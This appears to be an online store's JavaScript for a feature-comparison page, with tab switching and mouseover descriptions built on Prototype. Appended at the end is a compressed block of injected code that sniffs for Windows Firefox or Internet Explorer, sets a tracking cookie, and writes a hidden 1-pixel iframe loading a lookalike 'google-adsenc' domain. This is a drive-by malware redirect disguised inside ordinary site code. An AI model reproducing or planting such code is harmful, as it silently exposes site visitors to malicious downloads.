// event observe
Event.observe(window, 'load', function() {
		/* start the CompareThem script 
		new CompareThem('shopping_cart');
		new CompareThem('administration_tool');	
		new CompareThem('template');	
		new CompareThem('template_managing');	
		new CompareThem('google_products');	
		new CompareThem('kijiji');	
		new CompareThem('administrator');	
		new CompareThem('administrator_log');	

		new CompareThem('categories');	
		new CompareThem('categories_depth');	
		new CompareThem('products');	
		new CompareThem('specials');	
		new CompareThem('translate');	
		new CompareThem('wysiwyg');	
		new CompareThem('languages');	
		new CompareThem('currencies');	

		new CompareThem('paypal_ipn');
		new CompareThem('postepay');
		new CompareThem('mark');
		new CompareThem('banking_transfer');

		new CompareThem('express_courier');	
		new CompareThem('italian_postal_service');
		new CompareThem('own_courier');
		new CompareThem('shipping_free');
		new CompareThem('home_delivery');
		new CompareThem('flat_rate');
		new CompareThem('item_rate');

		new CompareThem('stats');	
		new CompareThem('design_usability');
		new CompareThem('search_engine_keyword');


		new CompareThem('banner');	
		new CompareThem('backup');	
		new CompareThem('file_manager');
		new CompareThem('newsletter');

		new CompareThem('web_space_traffic');
		new CompareThem('email_address');
		new CompareThem('email_aliases_redirects');
		new CompareThem('daily_backup_data');
		new CompareThem('application_update');
		new CompareThem('tld');
		new CompareThem('assistance');
		new CompareThem('daily_reports');
		new CompareThem('uptime');
		//new CompareThem('');
		*/
		enable = false;
		showTab('standard_features');
		});

// CompareThem prototype class
CompareThem = Class.create();
CompareThem.prototype = {

	// costructor function 
initialize: function(nodeId){
				observeId = document.getElementById(nodeId+"_row");
				nodeIdEl = document.getElementById(nodeId+"_desc");

				observeId.timeout = false;
				observeId.timein = false;
				nodeIdEl.shown = false;
				Event.observe(observeId, 'mouseover', this.mouseover.bind(observeId, nodeIdEl), false);
				Event.observe(observeId, 'mouseout', this.mouseout.bind(observeId, nodeIdEl), false);
			},

mouseover: function(node){
			   // block the timeout
			   if(this.timeout){
				   clearTimeout(this.timeout);
				   this.timeout = false;
			   }
			   if(enable){
				   this.timein = setTimeout(CompareThem.prototype.show.bind(node), 150);
			   }
		   },

mouseout: function(node){
			  // set the timeout before hide the node
			  if(this.timein){
				  clearTimeout(this.timein);
				  this.timein = false;
			  }
			  if(enable){
				  this.timeout = setTimeout(CompareThem.prototype.hide.bind(node),401);
			  }
		  },

show: function() {
		  // show it
		  if(this.style.display=='none'){
			  Effect.toggle(this, 'blind', {duration:0.4});
		  }
	  },

hide: function() {
		  // hide it
		  if(this.style.display!='none'){
			  Effect.toggle(this, 'blind', {duration:0.4});
		  }
	  }
}


// this show and hide all the descriptions
function showDescriptions(){
	if(enable == true){
		enable = false;
		type_display = 'block';
	}
	else{
		enable = true;
		type_display = 'none';
	}
	for(i=0; i<features.length; i++){
		document.getElementById(features[i]).style.display=type_display;
	}
}

// show the tab
function showTab(selected){
	item_sel = document.getElementById(selected+"_table");
	item_li = document.getElementById(selected+"_li");
	//make de-select te item not selected
	for(i=0; i<tabs.length; i++){
		if( tabs[i]!=selected){
			act_li = document.getElementById(tabs[i]+"_li");
			child_nodes = act_li.childNodes;
			for( j=0; j<child_nodes.length; j++){
				if( ((child_nodes[j]).className).indexOf("tab_left_bg")==0 ){
					child_nodes[j].className = "tab_left_bg";
				}
				else if( ((child_nodes[j]).className).indexOf("tab_right_bg")==0 ){
					child_nodes[j].className = "tab_right_bg";
				}
				else{
					child_nodes[j].className = "tab_bg";
				}
			}
			act_item = document.getElementById(tabs[i]+"_table");
			act_item.style.display= "none";
		}
	}
	//make selected the item that receive the onclick event
	item_sel.style.display = ""; //make visible the table
	child_nodes = item_li.childNodes; //change background to the tab item
	for( i=0; i<child_nodes.length; i++){
		if( ((child_nodes[i]).className).indexOf("tab_left_bg")==0 ){
			child_nodes[i].className = "tab_left_bg tab_selected";
		}
		else if( ((child_nodes[i]).className).indexOf("tab_right_bg")==0 ){
			child_nodes[i].className = "tab_right_bg tab_selected";
		}
		else{
			child_nodes[i].className = "tab_bg tab_selected";
		}
	}
}

// set the width for the tabs
function set_width_li_item(){
	li_items = (document.getElementById('store_nav_tab')).getElementsByTagName('LI');
	width= 0;
	for( i=0; i<li_items.length; i++){
		width += li_items[i].clientWidth;
	}
	//add 1 because upper level div must be more larger than the content
	document.getElementById('store_nav_container').style.width = (width+2)+"px";
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
